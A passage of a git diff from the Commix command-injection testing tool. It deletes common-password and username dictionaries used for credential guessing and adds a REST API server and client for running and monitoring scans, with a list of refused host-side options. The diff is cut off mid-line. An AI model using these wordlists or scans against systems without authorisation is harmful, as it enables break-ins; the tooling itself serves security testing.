-nikki -nintendo -nisse -nokia -nomore -none1 -nopass -normal -norton -notta1 -nouveau -novell -noway -nugget -number9 -numbers -nurse -nutmeg -oaxaca -obiwan -obsession -ohshit -oicu812 -omega -openup -orchid -oreo -orlando -orville -otter -ozzy -paagal -packard -packers -packrat -paint -paloma -pam -pancake -panic -papa -paradigm -park -parola -parrot -partner -pascal -pass -patches -patriots -paula -pauline -pavel -payton -peach -peanuts -pedro1 -peggy -pekka -perfect -performa -perry -peterk -peterpan -phialpha -philips -phillips -phishy -phone -piano1 -pianoman -pianos -pierce -pigeon -pink -pioneer -pipeline -piper1 -pirate -pisces -plato -play -playboy -pluto -poetic -poetry -pole -pontiac -pookey -pope -popeye -prayer -precious -prelude -premier -print -printing -prof -provider -puddin -pulsar -pussy -pussy1 -pyro -qqq111 -quebec -qwer -qwert -qwerty12 -qwertyui -r0ger -rabbit1 -racer -racerx -rachelle -racoon -radar -rafiki -raleigh -ram -rambo -randy1 -rasta1 -ratio -ravens -redcloud -redfish -redman -redskins -redwing -redwood -reed -reggae -reggie -reliant -rene -renee -renegade -rescue -revolution -rex -reznor -rhino -rhjrjlbk -richard1 -richards -richmond -riley -ripper -ripple -rita -robby -roberts -robocop -robotics -roche -rock -rocket1 -rockie -rockon -roger1 -rogers -roland -rommel -roni -rookie -rootbeer -rosie -rossigno -rufus -rugger -rush -rusty -ruthless -sabbath -sabina -safety -safety1 -saigon -saint -samIam -samiam -sammie -sammy -samsam -sandi -sanjose -saphire -sarah1 -saskia -sassy -satori -saturday -saturn5 -schnapps -science -scooby -scoobydoo -scooter1 -scorpion -scotch -scotty -scouts -scuba -search -secret3 -seeker -seoul -september -server -services -seven7 -sex -sexy -shaggy -shanghai -shanny -shaolin -shasta -shayne -shazam -shelly -shelter -sherry -ship -shirley -shorty -shotgun -sidney -sigmachi -signal -signature -simba1 -simsim -sinatra -sirius -skate -skip -skipper1 -skydive -skyler -slayer -sleepy -slick -slider -slip -smegma -smile1 -smiths -smitty -smoke -smurfy -snakes -snapper -snoop -snow -sober1 -solomon -sonics -sony -sophia -space -sparks -spartan -spazz -sphynx -spike1 -spock -sponge -spoon -spot -sprocket -spurs -squash -stan -starbuck -stargate -starlight -stars -steel -steph1 -stephi -steve1 -stevens -stewart -sting -stivers -stocks -stone -storage -stranger -strat -strato -stretch -strong -stud -student2 -studio -stumpy -sucker -suckme -sue -sultan -summit -sunfire -sunset -super -superstar -surfing -susan1 -susanna -sutton -suzy -swanson -sweden -sweetpea -sweety -swim -switzer -swordfish -system5 -t-bone -tab -tabatha -tacobell -taiwan -talon -tamtam -tanner -tapani -targas -target -tarheel -tasha -tata -tattoo -tazdevil -tequila -terry1 -test2 -test3 -tester -testi -testtest -texas -thankyou -theend -thelorax -thisisit -thompson -thorne -thrasher -tiger2 -tightend -tika -tim -timber -timothy -tinkerbell -tnt -tom -tool -topcat -topher -toshiba -total -toto1 -tototo -toucan -transfer -transit -transport -trapper -trash -travis -tre -treasure -trees -tricky -trish -triton -trombone -trophy -trouble -trucker -tucson -tula -turbo -turbo2 -twins -tyler1 -ultimate -unique -united -unity -unix -upsilon -ursula -user1 -vacation -valley -vampire -vanessa -vedder -velo -venice -venus -vermont -vette -vicki -vicky -victor1 -vikram -vincent1 -violet -violin -virago -virgil -virginia -vision -visual -volcano -volley -voodoo -vortex -waiting -walden -waldo -walleye -wanker -warner -water1 -wayne1 -webmaster -webster -wedge -weezer -wendy1 -western -whale1 -whit -white -whitney -whocares -whoville -wibble -wildcat -will -william1 -wilma -wind -window -winniethepooh -wolfgang -wolverine -wombat1 -wonder -word -world -x-files -x-men -xanth -xxx123 -xxxxxxxx -xyz -yamaha -yankee -yogibear -yolanda -yomama -yvette -zachary -zack -zebras -zepplin -zoltan -zoomer -zxc -zxcvbn -!@#$%^& -00000000 -121212 -1234qwer -123go -131313 -13579 -1701d -21122112 -369 -5555 -80486 -90210 -911 -99999999 -@#$%^& -ABC123 -Abcdef -Asdfgh -Casio -Changeme -FuckYou -Fuckyou -Gizmo -Hello -JSBach -Michel -NCC1701 -PPP -Qwert -Qwerty -Windows -Zxcvb -Zxcvbnm -action -advil -allo -amelie -anaconda -angus -apollo13 -artist -aspen -ass -asshole -ath -benoit -bernard -bernie -bigbird -bird -blizzard -bluesky -bonjour -booster -byteme -caesar -cardinal -carolina -cats -cedic -cesar -chandler -changeit -chapman -charlie1 -chevy -chiquita -chocolat -christia -christoph -classroom -cloclo -coco -corrado -cougars -courtney -dasha -demo -dirk -dolphins -dominic -donkey -doom2 -dusty -e -energy -fearless -fiction -forest -french1 -fubar -gator -gilles -glenn -go -gocougs -good-luck -graymail -guinness -hilbert -hola -home -homebrew -hotdog -indian -jared -jimbo -jkm -johnson -jojo -josie -judy -koko -kristin -lloyd -lorraine -lulu -lynn -m1911a1 -mac -macintosh -mailer -mars -maxime -memory -meow -mimi -mirror -nat -ne1410s -ne1469 -ne14a69 -nebraska -nemesis -network -newcourt -nigel -niki -nite -notused -oatmeal -patton -paul -pedro -planet -players -politics -pomme -portland -praise -property -protel -psalms -qwaszx -raiders -rambo1 -rancid -ruth -sales -salut -scrooge -shawn -shelley -skidoo -softball -spain -speedo -sports -sss -ssssss -steele -steph -stephani -sunday -surf -sylvie -symbol -tiffany -tigre -toronto -trixie -undead -valentin -velvet -viking -walker -watson -young -zhongguo \ No newline at end of file diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt deleted file mode 100644 index 05f46a5a39..0000000000 --- a/src/txt/usernames.txt +++ /dev/null @@ -1,125 +0,0 @@ -111111 -123456 -12345678 -abc123 -abramov -account -accounting -ad -adm -admin -administrator -adver -advert -advertising -afanasev -agafonov -agata -aksenov -aleksander -aleksandrov -alekse -alenka -alexe -alexeev -alla -anatol -andre -andreev -andrey -anna -anya -ao -aozt -arhipov -art -avdeev -avto -bank -baranov -Baseball -belousov -bill -billing -blinov -bobrov -bogdanov -buh -buhg -buhgalter -buhgalteria -business -bux -catchthismail -company -contact -contactus -corp -design -dir -director -direktor -dragon -economist -edu -email -er -expert -export -fabrika -fin -finance -ftp -glavbuh -glavbux -glbuh -helloitmenice -help -holding -home -hr -iamjustsendingthisleter -info -ingthisleter -job -john -kadry -letmein -mail -manager -marketing -marketing -mike -mogggnomgon -monkey -moscow -mysql -maint -office -ok -oracle -password -personal -petgord34truew -post -postmaster -pr -qwerty -rbury -reklama -root -r00t -sale -sales -secretar -sekretar -support -test -testing -thisisjusttestletter -trade -uploader -user -webmaster -wwwadmin -www-data \ No newline at end of file diff --git a/src/utils/__init__.py b/src/utils/__init__.py index b50e6972c9..ca8037d413 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/utils/api.py b/src/utils/api.py new file mode 100644 index 0000000000..bf6995ecc5 --- /dev/null +++ b/src/utils/api.py @@ -0,0 +1,820 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import io +import os +import re +import sys +import json +import signal +import shutil +import socket +import mimetypes +import secrets +import tempfile +import subprocess +import threading +import contextlib + +from http.server import BaseHTTPRequestHandler +from http.server import ThreadingHTTPServer +from urllib import parse as _urlparse +from urllib import request as _urlrequest +from optparse import OptionValueError + +from src.utils import settings + +""" +The parser is read for what the options are and what they are worth, which is what lets a request +name them the way a command line does. + +Read behind an empty command line, and with its output held back: the module settles a run of its +own on the way in, and left as it is would read the server's own arguments as though they had been +meant for a scan, and print the banner one starts with. +""" +_argv = sys.argv +try: + sys.argv = sys.argv[:1] + with contextlib.redirect_stdout(io.StringIO()): + from src.core.parse import cmdline as menu + from src.core.parse import configfile + from src.utils import common +finally: + sys.argv = _argv + +""" +What the server answers to, and what it answers with. +""" +API_VERSION = "1.0" + +# How long one request may hold a connection open, and the most of a body that will be read. A +# 'Content-Length' larger than what follows it would otherwise hold a worker forever waiting for +# the rest, which is a request that never arrives taking a thread with it. +REQUEST_TIMEOUT = 10 + +""" +Options a request may not set, because they act on the host serving the API rather than on the +target being scanned. + +A task is a scan of somebody else's machine, asked for over the network. These would make it a way +to run a command on this one, read or write a file of its choosing here, or change the installation +underneath it - none of which is what a scan is, and all of which a token for scanning should not +carry with it. +""" +REFUSED_OPTIONS = { + "alert": "runs a command on the host serving the API", + "config_file": "reads a file from the host serving the API", + "save_config": "writes a file to the host serving the API", + "preprocess": "runs a script on the host serving the API", + "postprocess": "runs a script on the host serving the API", + "install": "changes the installation serving the API", + "update": "changes the installation serving the API", + "purge": "erases the data of the host serving the API", + "wizard": "asks questions nobody is there to answer", + "smoke_test": "is not a scan", + "list_tampers": "is not a scan", + "dependencies": "is not a scan", +} + +""" +Options the server settles for every task, whatever it is asked. Refused rather than overridden, so +that what a task says it was given is what it was actually run with. +""" +SERVER_OWNED_OPTIONS = ("report_json", "output_dir", "batch") + +""" +Options a task's run is never given, and so cannot be set for one. + +The file a run is started from is written from the parser's own groups, less the ones that say what +to do rather than how - so an option left out of it, or one hanging off the parser rather than any +group, was taken, answered for as set, listed back as set, and then not carried into the run at all. +""" +UNCARRIED_OPTIONS = tuple(configfile.IGNORED) + ("ignore_stdin",) +MAX_BODY = 16 * 1024 * 1024 +TASK_ID_BYTES = 8 +LOG_LINE_REGEX = re.compile(r"^\[(?P<time>\d{2}:\d{2}:\d{2})\]\s+\[(?P<level>[a-z]+)\]\s+(?P<message>.*)$") + +""" +Every name an option answers to: where it is kept, and every spelling the command line takes. + +Twelve of them are not the same word - '--user-agent' is kept as 'agent', '--technique' as 'tech' - +and a request is free to name either, rather than having to know which of the two this one is. +""" +_OPTION_NAMES = {} + +def _option(name): + if not _OPTION_NAMES: + for option_list in [menu.parser.option_list] + [group.option_list for group in menu.parser.option_groups]: + for option in option_list: + if not option.dest: + continue + for spelling in [option.dest] + option._long_opts + option._short_opts: + _OPTION_NAMES.setdefault(spelling.lstrip("-").replace("-", "_"), option) + return _OPTION_NAMES.get(name) + +""" +One scan, from the options it was given to the process running them and the files it leaves behind. +""" +class Task(object): + def __init__(self, taskid, directory): + self.taskid = taskid + self.directory = directory + self.options = menu.parser.get_default_values().__dict__.copy() + self.process = None + # Held across deciding whether a scan is running and acting on that answer: the server answers + # every request in a thread of its own, and two 'start' requests that both looked first would + # both start, leaving two runs writing one report and only the later of them stoppable. + self.lock = threading.Lock() + self.config_file = os.path.join(directory, "options.ini") + self.report_file = os.path.join(directory, "report.json") + self.console_file = os.path.join(directory, "console.log") + self.output_dir = os.path.join(directory, "output") + + """ + Settle one option, by the name the command line knows it as. + """ + def set_option(self, name, value): + option = _option(name.strip().lstrip("-").replace("-", "_")) + if option is None: + return "Unknown option '" + str(name).strip() + "'." + if option.dest in REFUSED_OPTIONS: + return "The option '" + (option._long_opts + option._short_opts)[0] + "' cannot be set over the API: it " + REFUSED_OPTIONS[option.dest] + "." + if option.dest in SERVER_OWNED_OPTIONS: + return "The option '" + (option._long_opts + option._short_opts)[0] + "' is settled by the server for every task." + if option.dest in UNCARRIED_OPTIONS: + return "The option '" + (option._long_opts + option._short_opts)[0] + "' cannot be set over the API: a task's run is not given it." + # Checked here rather than left for the run to refuse: a value the parser would not have taken + # is a request that did not do what it was told it did. + if option.action == "store" and not isinstance(value, bool) and value is not None: + try: + value = option.convert_value((option._long_opts + option._short_opts)[0], str(value)) + except OptionValueError as err_msg: + return str(err_msg).replace("option ", "The option ", 1).rstrip(".") + "." + self.options[option.dest] = value + return None + + """ + Run commix over what has been set, as a process of its own. + + Of its own, because a run is settled in module-level state that is written once and read + everywhere - two of them in one process would be one run with two sets of answers. + """ + def start(self): + values = menu.parser.get_default_values() + for name, value in self.options.items(): + setattr(values, name, value) + # The three the server decides for itself: a task reads its own report, keeps its own output, + # and is never waited on for an answer nobody is there to type. + values.report_json = self.report_file + values.output_dir = self.output_dir + values.batch = True + with contextlib.redirect_stdout(io.StringIO()): + configfile.save(menu.parser, values, self.config_file) + command = _commix_command() + ["-c", self.config_file] + # Kept rather than thrown away: what the run says as it goes is what '/scan/<id>/log' hands back, + # and the run's own log file is a report of what was found, not a record of the going. + # Closed either way: the child is given a handle of its own, and a start that failed leaves + # nothing here to hand back but an open file in a server that goes on running. + with open(self.console_file, "wb") as console: + self.process = subprocess.Popen(command, cwd=_commix_directory(), stdout=console, + stderr=subprocess.STDOUT, close_fds=not settings.IS_WINDOWS) + + """ + Whether a scan is running under this task right now. + """ + def running(self): + return self.process is not None and self.process.poll() is None + + """ + Whether the process is still going, and what it ended with where it is not. + """ + def returncode(self): + if self.process is None: + return None + return self.process.poll() + + """ + Ask the run to stop, so that it writes down what it has before it goes. + """ + def stop(self): + with self.lock: + if not self.running(): + return False + self.process.send_signal(signal.SIGTERM) + return True + + """ + End the process where asking did not. + """ + def kill(self): + with self.lock: + if not self.running(): + return False + self.process.kill() + return True + + """ + The report as it stands - a run still going writes it as it goes, so there is one either way. + """ + def data(self): + try: + with open(self.report_file, encoding=settings.DEFAULT_CODEC) as report: + return json.load(report) + except (IOError, OSError, ValueError): + return None + + """ + Every file the task has to hand, by a path relative to its own directory. + """ + def files(self): + found = [] + for root, _, names in os.walk(self.directory): + for name in names: + full = os.path.join(root, name) + try: + size = os.path.getsize(full) + except OSError: + continue + found.append({"path": os.path.relpath(full, self.directory).replace(os.sep, "/"), "size": size}) + return sorted(found, key=lambda entry: entry["path"]) + + """ + One of those files, by that same path - or nothing, where the path names something else. + + Checked by where it ends up rather than by how it is spelled: the name is the client's to choose, + and a task hands back what it produced rather than whatever else the host happens to hold. + """ + def file(self, path): + if not path: + return None + wanted = os.path.realpath(os.path.join(self.directory, path)) + directory = os.path.realpath(self.directory) + if wanted != directory and not wanted.startswith(directory + os.sep): + return None + return wanted if os.path.isfile(wanted) else None + + """ + The run's own log, as lines with the level each was printed at. + """ + def log(self, start=None, end=None): + lines = [] + try: + with open(self.console_file, encoding=settings.DEFAULT_CODEC, errors="replace") as console: + for line in console: + match = LOG_LINE_REGEX.match(settings.strip_ansi_codes(line).rstrip()) + if match: + lines.append(match.groupdict()) + except (IOError, OSError): + return [] + return lines[start:end] if (start is not None or end is not None) else lines + +""" +Where commix itself is, as seen from wherever the server was started. +""" +def _commix_directory(): + return os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +def _commix_command(): + beside = os.path.join(_commix_directory(), settings.APPLICATION + ".py") + if os.path.isfile(beside): + return [sys.executable or "python", beside] + # Installed rather than checked out: there is no file to hand the interpreter, and the command + # that was installed alongside this one is what a run is started as. + installed = shutil.which(settings.APPLICATION) + if installed: + return [installed] + raise RuntimeError("Unable to find " + settings.APPLICATION + " to run.") + +""" +Every task this server has been asked to keep, and the word that has to be shown to reach them. +""" +class Store(object): + tasks = {} + token = "" + directory = "" + +""" +Take back the tasks of a server that has been restarted. + +Their directories are what a task really is - the options it was given, what the run said and what +it found. Left unread, a client holding a task id is told there is no such task while all of it is +still on disk. +""" +def recover(): + if not os.path.isdir(Store.directory): + return 0 + for name in sorted(os.listdir(Store.directory)): + directory = os.path.join(Store.directory, name) + if name in Store.tasks or not re.match(r"^[0-9a-f]+$", name) or not os.path.isdir(directory): + continue + task = Task(name, directory) + if os.path.isfile(task.config_file): + values = menu.parser.get_default_values() + try: + with contextlib.redirect_stdout(io.StringIO()): + configfile.load(menu.parser, values, task.config_file) + task.options = values.__dict__.copy() + except SystemExit: + pass + Store.tasks[name] = task + return len(Store.tasks) + +""" +Take a task out of the store, after making sure nothing of it is still running. +""" +def _forget(taskid): + task = Store.tasks.pop(taskid, None) + if task is not None: + task.kill() + +""" +The routes, as (method, pattern, handler-name) - matched in order, first one wins. +""" +ROUTES = ( + ("GET", r"^/version$", "version"), + ("GET", r"^/task/new$", "task_new"), + ("GET", r"^/task/(?P<taskid>[0-9a-f]+)/delete$", "task_delete"), + ("GET", r"^/admin/list$", "admin_list"), + ("GET", r"^/admin/flush$", "admin_flush"), + ("GET", r"^/option/(?P<taskid>[0-9a-f]+)/list$", "option_list"), + ("POST", r"^/option/(?P<taskid>[0-9a-f]+)/get$", "option_get"), + ("POST", r"^/option/(?P<taskid>[0-9a-f]+)/set$", "option_set"), + ("POST", r"^/scan/(?P<taskid>[0-9a-f]+)/start$", "scan_start"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/stop$", "scan_stop"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/kill$", "scan_kill"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/status$", "scan_status"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/data$", "scan_data"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/log$", "scan_log"), + ("GET", r"^/download/(?P<taskid>[0-9a-f]+)$", "download_list"), + ("GET", r"^/download/(?P<taskid>[0-9a-f]+)/(?P<path>.+)$", "download"), +) + +""" +A file to be handed back as itself, where every other answer is JSON. +""" +class _Download(object): + def __init__(self, path): + self.path = path + +""" +What every endpoint answers with, so that a client reads one shape whatever it asked for. +""" +def _ok(**fields): + answer = {"success": True} + answer.update(fields) + return 200, answer + +def _no(message, code=200): + return code, {"success": False, "message": message} + +""" +One request, answered. + +Held apart from the HTTP of it so that what each endpoint does is readable on its own, and so the +same calls can be made from a test without a socket in the way. +""" +class Api(object): + def version(self, **_): + return _ok(version=settings.VERSION, api=API_VERSION) + + def task_new(self, **_): + taskid = secrets.token_hex(TASK_ID_BYTES) + directory = os.path.join(Store.directory, taskid) + os.makedirs(directory) + Store.tasks[taskid] = Task(taskid, directory) + return _ok(taskid=taskid) + + def task_delete(self, taskid=None, **_): + if taskid not in Store.tasks: + return _no("Unknown task.") + _forget(taskid) + return _ok() + + def admin_list(self, **_): + tasks = {} + for taskid, task in Store.tasks.items(): + tasks[taskid] = _status_of(task) + return _ok(tasks=tasks, count=len(tasks)) + + def admin_flush(self, **_): + for taskid in list(Store.tasks): + _forget(taskid) + return _ok() + + def option_list(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(options=task.options) + + def option_get(self, taskid=None, body=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + wanted = (body or {}).get("option") + if not wanted: + return _no("No option named.") + option = _option(str(wanted).strip().lstrip("-").replace("-", "_")) + if option is None: + return _no("Unknown option '" + str(wanted) + "'.") + return _ok(**{option.dest: task.options[option.dest]}) + + def option_set(self, taskid=None, body=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + if not isinstance(body, dict) or not body: + return _no("No options given.") + if task.running(): + # Refused rather than kept: the running scan was handed its options when it started, so one + # set now would read as having changed something it cannot reach. + return _no("That scan is running, and a scan is given its options once, when it starts.") + # All of them or none of them: settled one at a time, a request answered as refused had already + # changed the ones named before the one that was refused, and said nothing about which. + settled = task.options.copy() + for name, value in body.items(): + refused = task.set_option(name, value) + if refused: + task.options = settled + return _no(refused) + return _ok() + + def scan_start(self, taskid=None, body=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + # Decided and acted on under the task's own lock, so that one of several requests arriving + # together starts the scan and the rest are told it is already running. + with task.lock: + if task.running(): + return _no("That scan is already running.") + # All of them or none, as above: a scan refused its options is not started with some of them. + settled = task.options.copy() + for name, value in (body or {}).items(): + refused = task.set_option(name, value) + if refused: + task.options = settled + return _no(refused) + if not any(task.options.get(_) for _ in ("url", "logfile", "bulkfile", "requestfile", "sitemap_url", "openapi")): + return _no("Nothing to scan: none of 'url', 'logfile', 'bulkfile', 'requestfile', 'sitemap_url' or 'openapi' was set.") + task.start() + return _ok(engineid=task.process.pid) + + def scan_stop(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(stopped=task.stop()) + + def scan_kill(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(killed=task.kill()) + + def scan_status(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(**_status_of(task)) + + def scan_data(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + report = task.data() + if report is None: + return _ok(data={}, error=[]) + # A run over several targets keeps each one's errors with that target; gathered here, so that + # 'error' says the same thing whichever shape the report took. + errors = report.get("errors") + if errors is None: + errors = [issue for target in report.get("targets", []) for issue in target.get("errors", [])] + return _ok(data=report, error=errors) + + def download_list(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(files=task.files()) + + def download(self, taskid=None, path=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + wanted = task.file(_urlparse.unquote(path or "")) + if wanted is None: + return _no("No such file in that task.", code=404) + return 200, _Download(wanted) + + def scan_log(self, taskid=None, query=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + start, end = _bounds(query or {}) + return _ok(log=task.log(start, end)) + +""" +Where a run has got to, said the same way whether it is going, gone, or never started. +""" +def _status_of(task): + returncode = task.returncode() + if task.process is None: + # A task read back off disk has no process of its own, but the run it belongs to left its word + # for how it ended. + return {"status": (task.data() or {}).get("status") or "not started", "returncode": None} + if returncode is None: + return {"status": settings.REPORT_STATUS_RUNNING, "returncode": None} + state = (task.data() or {}).get("status") + if not state or state == settings.REPORT_STATUS_RUNNING: + # The process is gone while its report still says it is going: it ended without the chance to + # write one down, which is what a signal it cannot answer does to it. + if returncode < 0: + state = "killed" + else: + state = settings.REPORT_STATUS_COMPLETED if not returncode else settings.REPORT_STATUS_FAILED + return {"status": state, "returncode": returncode} + +""" +The slice of the log a request asked for, where it asked for one. +""" +def _bounds(query): + def _number(name): + try: + return int(query[name][0]) + except (KeyError, IndexError, ValueError): + return None + return _number("start"), _number("end") + +""" +The HTTP in front of the endpoints above. +""" +class Handler(BaseHTTPRequestHandler): + server_version = settings.APPLICATION + "/" + str(settings.VERSION) + api = Api() + timeout = REQUEST_TIMEOUT + + # Nothing to a terminal: a server that narrates every poll buries what it was asked to say. + def log_message(self, *args): + pass + + def do_GET(self): + self._dispatch("GET") + + def do_POST(self): + self._dispatch("POST") + + """ + Find the endpoint the request named, check it is allowed to ask, and answer it. + """ + def _dispatch(self, method): + parsed = _urlparse.urlparse(self.path) + for route_method, pattern, name in ROUTES: + match = re.match(pattern, parsed.path) + if not match: + continue + if route_method != method: + return self._answer(*_no("That address is not asked this way.", code=405)) + if name != "version" and not self._permitted(): + return self._answer(*_no("Wrong or missing API token.", code=401)) + try: + code, answer = getattr(self.api, name)(body=self._body(), query=_urlparse.parse_qs(parsed.query), + **match.groupdict()) + except Exception as err_msg: + code, answer = _no(str(err_msg), code=500) + return self._answer(code, answer) + self._answer(*_no("No such address.", code=404)) + + """ + The token, as the client was told to send it. + """ + def _permitted(self): + return secrets.compare_digest(str(self.headers.get("X-Api-Token", "")), Store.token) + + """ + The JSON a POST carried, or nothing where it carried none. + """ + def _body(self): + try: + length = int(self.headers.get("Content-Length") or 0) + except ValueError: + return None + if length <= 0 or length > MAX_BODY: + return None + try: + body = self.rfile.read(length) + except (socket.timeout, OSError): + # Promised more than was sent. The connection is given up on rather than waited on. + return None + if len(body) != length: + return None + try: + return json.loads(body.decode(settings.DEFAULT_CODEC)) + except (ValueError, UnicodeDecodeError): + return None + + def _answer(self, code, answer): + if isinstance(answer, _Download): + return self._answer_file(answer.path) + body = json.dumps(answer, indent=2, ensure_ascii=False).encode(settings.DEFAULT_CODEC) + self.send_response(code) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + """ + Hand back a file, opened before anything is said: once a status line has gone out there is no + taking it back, and a file that cannot be read would answer 200 to a request it never served. + """ + def _answer_file(self, path): + try: + handle = open(path, "rb") + except (IOError, OSError) as err_msg: + return self._answer(*_no(str(err_msg), code=500)) + with handle: + self.send_response(200) + self.send_header("Content-Type", mimetypes.guess_type(path)[0] or "application/octet-stream") + self.send_header("Content-Length", str(os.fstat(handle.fileno()).st_size)) + self.send_header("Content-Disposition", 'attachment; filename="' + os.path.basename(path) + '"') + self.end_headers() + shutil.copyfileobj(handle, self.wfile) + +""" +Serve the API until it is stopped. +""" +def server(host, port, token=None, directory=None): + Store.token = token or secrets.token_hex(16) + Store.directory = directory or tempfile.mkdtemp(prefix=settings.APPLICATION + "-api-") + if not os.path.isdir(Store.directory): + os.makedirs(Store.directory) + + taken_back = recover() + + httpd = ThreadingHTTPServer((host, port), Handler) + info_msg = "Serving the " + settings.APPLICATION + " API at 'http://" + host + ":" + str(httpd.server_port) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = "Tasks are kept under '" + Store.directory + "'" + info_msg += ("." if not taken_back else ", where " + str(taken_back) + " of them were already.") + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = "Send the token '" + Store.token + "' as the 'X-Api-Token' header." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: + httpd.serve_forever() + except KeyboardInterrupt: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + finally: + for taskid in list(Store.tasks): + _forget(taskid) + httpd.server_close() + +""" +The commands a client understands, and what each one says it does. +""" +CLIENT_COMMANDS = ( + ("new", "Make a task and use it from here on"), + ("use <taskid>", "Work on a task that already exists"), + ("set <option> <value>", "Set an option on the task in use"), + ("options", "Show every option of the task in use that is set"), + ("start", "Start the task's scan"), + ("status", "Say where the scan has got to"), + ("data", "Show what the scan has found"), + ("log", "Show what the scan has said"), + ("stop", "Ask the scan to stop, keeping what it found"), + ("kill", "End the scan's process outright"), + ("list", "Show every task the server holds"), + ("flush", "Forget all of them"), + ("exit", "Leave"), +) + +""" +Talk to a server from a terminal. + +The same addresses, asked for by hand - which is what makes a server worth having a look at before +anything is written against it. +""" +def client(host, port, token): + base = "http://" + host + ":" + str(port) + + # One request, and the answer it gave, or what went wrong instead of one. + def ask(path, body=None): + request = _urlrequest.Request(base + path, method="POST" if body is not None else "GET") + request.add_header("X-Api-Token", token or "") + data = None + if body is not None: + data = json.dumps(body).encode(settings.DEFAULT_CODEC) + request.add_header("Content-Type", "application/json") + try: + with _urlrequest.urlopen(request, data, timeout=30) as answer: + return json.loads(answer.read().decode(settings.DEFAULT_CODEC)) + except Exception as err_msg: + return {"success": False, "message": str(err_msg)} + + hello = ask("/version") + if not hello.get("success"): + err_msg = "Unable to reach a " + settings.APPLICATION + " API server at '" + base + "' (" + str(hello.get("message")) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + info_msg = "Talking to " + settings.APPLICATION + " " + str(hello.get("version")) + " at '" + base + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.print_module_table("Available Commands", [(name, what) for name, what in CLIENT_COMMANDS]) + + taskid = None + while True: + try: + line = common.read_input(settings.APPLICATION + "-api > ", default="", check_batch=False) + except (KeyboardInterrupt, EOFError): + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + break + words = str(line or "").split() + if not words: + continue + command, rest = words[0].lower(), words[1:] + if command in ("exit", "quit"): + break + if command == "new": + answer = ask("/task/new") + taskid = answer.get("taskid") or taskid + elif command == "use" and rest: + taskid = rest[0] + answer = ask("/option/" + taskid + "/list") + answer = {"success": answer.get("success"), "taskid": taskid} if answer.get("success") else answer + elif command == "list": + answer = ask("/admin/list") + elif command == "flush": + answer = ask("/admin/flush") + elif taskid is None: + answer = {"success": False, "message": "No task in use - 'new' makes one, 'use <taskid>' takes one."} + elif command == "set" and len(rest) > 1: + answer = ask("/option/" + taskid + "/set", {rest[0]: _typed(" ".join(rest[1:]))}) + elif command == "options": + answer = ask("/option/" + taskid + "/list") + if answer.get("success"): + # Only what was settled: every option it does not name is what it was already worth. + answer = {"success": True, "options": {name: value for name, value in answer["options"].items() if value not in (None, False, "", 0)}} + elif command == "start": + answer = ask("/scan/" + taskid + "/start", {}) + elif command in ("status", "data", "log", "stop", "kill"): + answer = ask("/scan/" + taskid + "/" + command) + else: + answer = {"success": False, "message": "No such command - 'exit' leaves."} + settings.print_data_to_stdout(json.dumps(answer, indent=2, ensure_ascii=False) + "\n") + +""" +A value typed at a prompt, as the thing it reads as rather than always as text. +""" +def _typed(value): + if value.lower() in ("true", "false"): + return value.lower() == "true" + try: + return int(value) + except ValueError: + return value + +""" +Read what the server was asked for, and serve it. +""" +def entry_point(): + from optparse import OptionParser + parser = OptionParser(usage="python " + settings.APPLICATION + "api.py [option(s)]") + parser.add_option("-s", "--server", action="store_true", dest="server", default=False, + help="Run as a REST API server (the default).") + parser.add_option("-c", "--client", action="store_true", dest="client", default=False, + help="Run as a REST API client, against a server already serving.") + parser.add_option("-H", "--host", dest="host", default="127.0.0.1", + help="Address to listen on (Default: '127.0.0.1').") + parser.add_option("-p", "--port", dest="port", type="int", default=8775, + help="Port to listen on (Default: 8775).") + parser.add_option("--token", dest="token", default=None, + help="Token a request has to carry (Default: one made up per run).") + parser.add_option("--tasks-dir", dest="tasks_dir", default=None, + help="Directory to keep each task's options, output and report in.") + (options, _) = 